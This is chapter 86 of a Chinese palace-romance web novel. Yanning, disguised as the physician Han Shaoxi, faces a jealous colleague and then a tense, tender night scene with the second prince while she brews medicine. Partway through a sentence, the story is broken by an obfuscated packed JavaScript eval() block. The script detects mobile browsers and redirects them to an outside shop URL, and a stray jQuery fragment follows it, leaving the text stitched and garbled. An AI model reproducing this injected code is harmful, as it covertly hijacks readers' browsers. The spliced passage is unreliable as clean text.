第86章
翰林医官院内。
只见院子里通往厢房的必经之路正聚拢着不少人,三五成群的不知道在议论着什么。
雁宁跟在太医身后,在拥挤的人群里穿行,或许是有太医引路,使得迎面而来的行人纷纷为她避让。
雁宁侧眸端详着一个个陌生的面孔,目光闪过一丝若有似无的凉意。
聚拢在一起的行人见到她犀利的眼神,顿生警惕之意,等雁宁彻底进入厢房,才敢窃窃私语起来。
“她是谁?”
“听说是新来的医师,不过这离秋试不是还有一段日子吗?”
“怎的她就如此特殊,都不用参加秋试?”
“据说她是四公子亲自引荐的,许是有什么过人之处呢?”
“可这也太不公平了,我们都是辛辛苦苦一路考上来的,不知受了多少罪,偏她不用。”
其中一个沉默已久的女医师终于忍不住开口:“我倒要看看她有什么特殊的。”
“若雨?!”
见此情形,围观的医师们顿时瞪大双眼,想要上前制止住她的动作,犹豫了一瞬,终究还是没敢上前。
雁宁此时正在收拾屋子,还没等她将床榻铺好,门就忽然被人推开。
她手上的动作蓦地顿住,缓缓掀起眼睫,但见一名穿着医师官服的年轻女郎迈步走了进来。
那名年轻女郎落在雁宁身上的目光深邃而锐利,似乎要从她身上找出答案。
雁宁抬起的眼眸里也同样透露出不解和疑虑,不会很快她又歪着头,突然扬唇笑了起来。
见此情形,年轻女郎心弦蓦地一颤,脑子空白了一瞬后,旋即嘴角不自觉地牵起一个勉强的笑,喉咙里挤出一句干哑的话:“我叫姜若雨。”
雁宁垂下眼睫,继续收拾着床榻,还不忘出声回道:“姜医师安好。”
此话一说出口,厢房里顿时陷入了死一般的沉寂。
见雁宁迟迟不开口,姜若雨不由追问道:“这就没有了?”
闻言,雁宁眼神微微一凝,似乎还未从突如其来的困惑中反应过来:“那姜医师还想听什么?”
姜若雨思虑几瞬后,手指在身前轻轻绞着,鼓起勇气问道:“不知这位小娘子的名讳是?”
雁宁茫然地“啊”了一声,又顿时恍然,慢慢地出了声:“我姓韩,名少溪,姜医师可唤我少溪,或者溪儿。”
姜若雨被雁宁看得有些心虚,不自觉地提高了声音:“谁要与你称呼得这般亲密?你少自作多情了。”
雁宁歪着头看她,眸光流转,浅笑道:“那就唤我少溪吧。”
过了好半晌。
姜若雨做好心理斗争,温吞地冒出了句:“你也可以唤我若雨。”
话音才落,沉默几秒,她强行绷着表情,平静道:“等等,我来此地不是为了想知道你叫什么,也不是来与你废话的。”
雁宁的嘴角挽了个笑:“那若雨找我所为何事?”
姜若雨故作沉静地反问道:“你与四公子是何关系?”
“没有什么关系。”雁宁想了想,下意识如实答:“……想必日后便是上下级的关系。”
“你撒谎。”姜若雨毫不犹豫地说道。
雁宁满脸疑惑地看向她,似乎不太明白她话里的意思。
姜若雨压着情绪,语气淡定从容:“若真没关系,四公子又为何要为了你破例?翰林医官院从建立以来,就没有这样的规矩!”
沉默下来,总觉得她话里有话,雁宁看了她一眼,隐隐有个猜测,犹疑地问了句:“原来你是为了这个才来找我的?”
姜若雨吞吞吐吐,似乎每个字都经过深思熟虑:“是又如何?你虽没有义务要为我解惑,我也没有理由来此处质问你,是我无礼在先,可我还是有些不服气,所以想亲自来问问你。”
“我知道。”雁宁的嗓音含笑。
姜若雨咽了咽口水,语气忽然变得温和起来:“我对韩医师没有恶意,莫要因为我,你就觉得翰林医官院里的人都同我一般无礼。”
雁宁凝视她双眸,缓缓说道:“姜医师放心,我定不会因为你一人,而将这样无礼的印象强加在医官院其他人身上。”
听了她的话,姜若雨才放下心来,悠悠地解释说:“如此便好,半月后就是分殿考试,韩医师最好榜上有名。”
雁宁初来乍到,在这深宫中也没有什么人脉,不论做什么都须得小心翼翼。
她还想多苟一阵,不能直接撕破脸皮,只得忍气吞声地回道:“姜医师也是。”
“告辞!”
姜若雨并没有再与雁宁继续废话下去,随意行了个礼便退出房外。
往后的日子里,雁宁除了吃饭、睡觉以外,就只有替宫里的那些贵人娘娘煎药,只有过了分殿测试后,才是真正的翰林医官院里的医师。
*
几日后,神都的夜不必洛阳寒冷,再加上快要入夏,风从窗户吹进来,也是暖融融的。
一道白影正迈着步子朝药房的方向缓缓靠近。
药房的门没关,里面也静悄悄的。
突如其来的一句话,不得不让正在煎药的雁宁心里打了个寒颤。
“进宫一事,你为什么不找我帮忙?”
此时房内鸦雀无声一片,只有轻风吹过树梢,带来些许沙沙的声音。
雁宁只顾着煎药,并没有理会他的话。
危瀛月眉间浮起一丝疑惑,迟疑半晌,语气低沉地问道:“你……你为什么不和我说话?”
“我为何要找你帮忙?”雁宁毫无情绪地反问他。
危瀛月面对她这样冷硬的态度早已习惯。
过了半晌,他才轻声说道:“日后你若是遇上什么难事,可以来找我,我会帮你。”
听完他的话,雁宁抿了抿唇,在危瀛月的注视下缓缓开了口:“哪怕是利用你?”
“哪怕是利用我,我都毫无怨言。”
说罢,危瀛月时刻关注着她的神情,语声低沉悦耳:“这是我欠你的。”
雁宁的眼睛里带着一丝讥讽,语气轻蔑地说:“欠我的?好啊。”
不会很快就变了神色,继续垂头煎药。
危瀛月忽然走上前几步,来到雁宁身前,语焉不详地问:“不过,你为什么要进宫?”
“我凭什么要告诉你?”雁宁回答的声线冷硬。
他迟疑一阵,眼中流过笑意,斟字酌句地说:“你不说我也知道,千里迢迢来到大燕,若不是为了找我,那就是要做什么对大燕不利之事。”
雁宁懒懒地扫了一眼危瀛月,可手上的动作从未停下,面不改色地撒谎道:“是啊,我来大燕,是为了寻君子的。”
“你说谎。”危瀛月的面色变了变,冷笑着说。
雁宁对于他脱口而出的话倒也没太惊讶,应声的嗓音却冷得刺骨:“你无权过问我的事。”
“那你找到他了吗?”危瀛月眼神微闪,语气像是在试探。
雁宁很快听出他话里的深意,她轻轻叹息着,语声平静,像是在陈述事实:“没有,我可能这辈子都找不到他了。”
危瀛月哑口,喉咙一阵哽咽,眼神中不自觉地染上阴暗的情绪,缓了许久才勉强从脸上挤出了个自嘲的笑:“……还真是冷血。”
“我冷血?”雁宁缓缓抬眼去看他,面上的淡笑完全隐没,平淡的神情突然生出一点凶戾,清亮的嗓音中压抑着怒气:“不想死就滚!”
危瀛月无声笑了下,落在雁宁身上的目光温柔而纵容,还有一点点的无可奈何:“怕是整个燕宫,也就只有你敢这样对我说话。”
“所以呢?”雁宁低沉的声音里似乎透着隐隐的不悦。
危瀛月将她的表情收入眼中,眼神稍黯,他不说话,好看的眸子里布满浓郁得化不开的忧伤。
过了好一会儿,他才笑着转身就走。
察觉到危瀛月的动作,雁宁终于肯抬起头去看他,只见他整个人被笼罩在黑夜里,看着格外消沉落寞。
“等等。”女郎忽然开口的声音清脆,似乎还带了点柔意。
闻言,危瀛月很快停住腿上的动作,却没转身。
雁宁叫住他,是为了试探危瀛月是否真的猜出了她入燕宫的真实目的,毕竟防人之心不可无。
“做什么?”他的喉结浅浅滑动,声音很轻。
雁宁有些尴尬地轻咳一声,就连说话的声音都不自觉地低了许多:“二公子方才不是说要帮我吗?”
听闻此言,危瀛月立即转过身来,他的眼波闪了闪,再次凝望来时,既有难以掩饰的绵绵情意,又有毫不掩饰的惊喜之情,不过又在转瞬之间消失不见。
“你要我做什么?”他哑着声线开口。
雁宁面色沉静道:“帮我煎药吧?”
话音才落,她歪着脑袋,露出个浅浅的笑来:“可以吗?会不会委屈了二公子?”
“不委屈。”危瀛月倒是今日第一次见到她这样的笑意,其实昨日雁宁也这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688316|177866||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
样笑过,不过是对着别人笑罢了。
危瀛月快步走上前,有些局促地问道:“需要我做什么?”
雁宁朝他招了招手,又拍了拍旁边儿的位置,示意对方也随自己一般蹲坐于一旁,好方便煎药。
她垂下眸子,注视着温柔的火苗,罐中白烟袅袅,裹挟着浓浓的药香扑面而来。
雁宁轻声开口:“帮我扇扇风就行了,小心别被火烫着。”
危瀛月很快接过雁宁递来的扇子,下意识问了句:“程五娘子是在关心我吗?”
怎知此言一出,雁宁的心头突地一跳,顿时涌起一阵不详的预感,她急忙起身望了眼门外,还好没人。
雁宁悬在半空的心倒是踏实了大半,紧握着的拳头也随之慢慢松开,不忘提醒道:“二公子现在应该唤我一声韩大夫。”
“韩大夫?”危瀛月微微抬眸,心潮开始生出起伏,各种猜想纷至沓来:“韩什么?”
还未等他话说完,窗外忽然狂风大作,夹杂着淡淡花香,草木也为之摇曳,连带着紧紧闭上的门也一起给吹开。
风势猛烈,铺天盖地而来,使人十步之内不辨方向。
雁宁急忙抬起手护住眼睛,欲遮挡住扑面而来的灰尘。
见此情形,危瀛月扭过头去,本打算护着雁宁,没成想竟猝不及防地和她贴了额头。
两人很快对上视线,雁宁的眸底闪过一丝促狭,她眨了眨眼睛,一时间没反应过来是怎么回事。
危瀛月没有躲避,近在咫尺的距离,雁宁能感受到他温热的气息喷洒在她鼻息间,带有酥酥痒痒的触感。
他还能闻见,眼前女郎的身上隐约可以闻到一股柔和馥郁的清冽兰花香气萦绕在她发丝间。
之后的漫长时间里,这样的味道一直贯穿始终。
此刻两人如此亲密的动作持续到风彻底停息,危瀛月才往后退出一步。
“韩少溪。”雁宁神色有些动容,语气也松软下来。
说罢,侧眸去看他。
很快就发现危瀛月的脸上沾了点儿灰。
见状,她的手不受控制地抬起,下意识想要去帮他擦掉面颊被沾染上的灰尘,可才刚伸出的手很快就停在虚空中。
雁宁闭了闭眼,克制住心里的念想,掌心渐渐收紧,往回收。
“你的脸脏了。”她不急不缓地说道。
危瀛月声音沉沉:“是吗?”
他用袖子擦了擦,微微皱起眉,低声问:“还有吗?”
“有。”
见他始终都擦不干净,雁宁竟然鬼使神差地又伸出手,替危瀛月擦拭干净脸上的污秽。
感受到她手上的温度,这样亲密的动作令危瀛月有些措手不及,他眼神躲闪着看向它处,脸上羞红未褪,就连说话的声音都不自觉低了许多,带着些许颤抖:
“你干嘛……”
门外忽然传来一道宫人的声音。
“韩医师,宓婕妤的药可煎好了?”
雁宁急忙将危瀛月压在地上,直至外面之人看不见里面的情形才肯罢休。
“快了,劳烦公公久等。”她有些慌张地应声道。
“为什么不让我见人?”危瀛月打量着雁宁嘴角的弧度,说话速度很慢,声音里没什么温度。
雁宁咬字清晰地说:“我是怕被公公瞧见,以为我偷懒只顾着闲聊,没有将心思放在煎药上,万一被告到院使那儿,我还要不要在翰林医官院待了?”
危瀛月侧头去看她,语气闲散又意有所指:“韩大夫是不想让人瞧见你与我同在一起吧?”
雁宁微蹙了眉,语声冷漠如寒铁:“没有,怎么可能?”
危瀛月扯了下唇,看上去明显不信:“怎么不可能?”
“好了,你走吧。”
说罢,雁宁很快将他手里的扇子夺了过来。
他勾唇冷笑着说:“这会儿就不需要我帮忙了?”
雁宁说出的话透着刀刃儿似的刻薄:“药也快煎好了,要你做什么?”
危瀛月拢在袖中的手指微微握紧,开口的声音淡淡的,听不出起伏:“那我……明日可以来找你吗?”
雁宁顿时瞪大眼睛,连忙出声制止:“不行!”
她不忘观察着药房外的动静,再次出声提醒道:“你赶紧走,等会儿要有人来了。”
“那我明日来找你。”
他抛下一句话就转身离去。
“别……”雁宁话还没说完,就见危瀛月早已离开药房。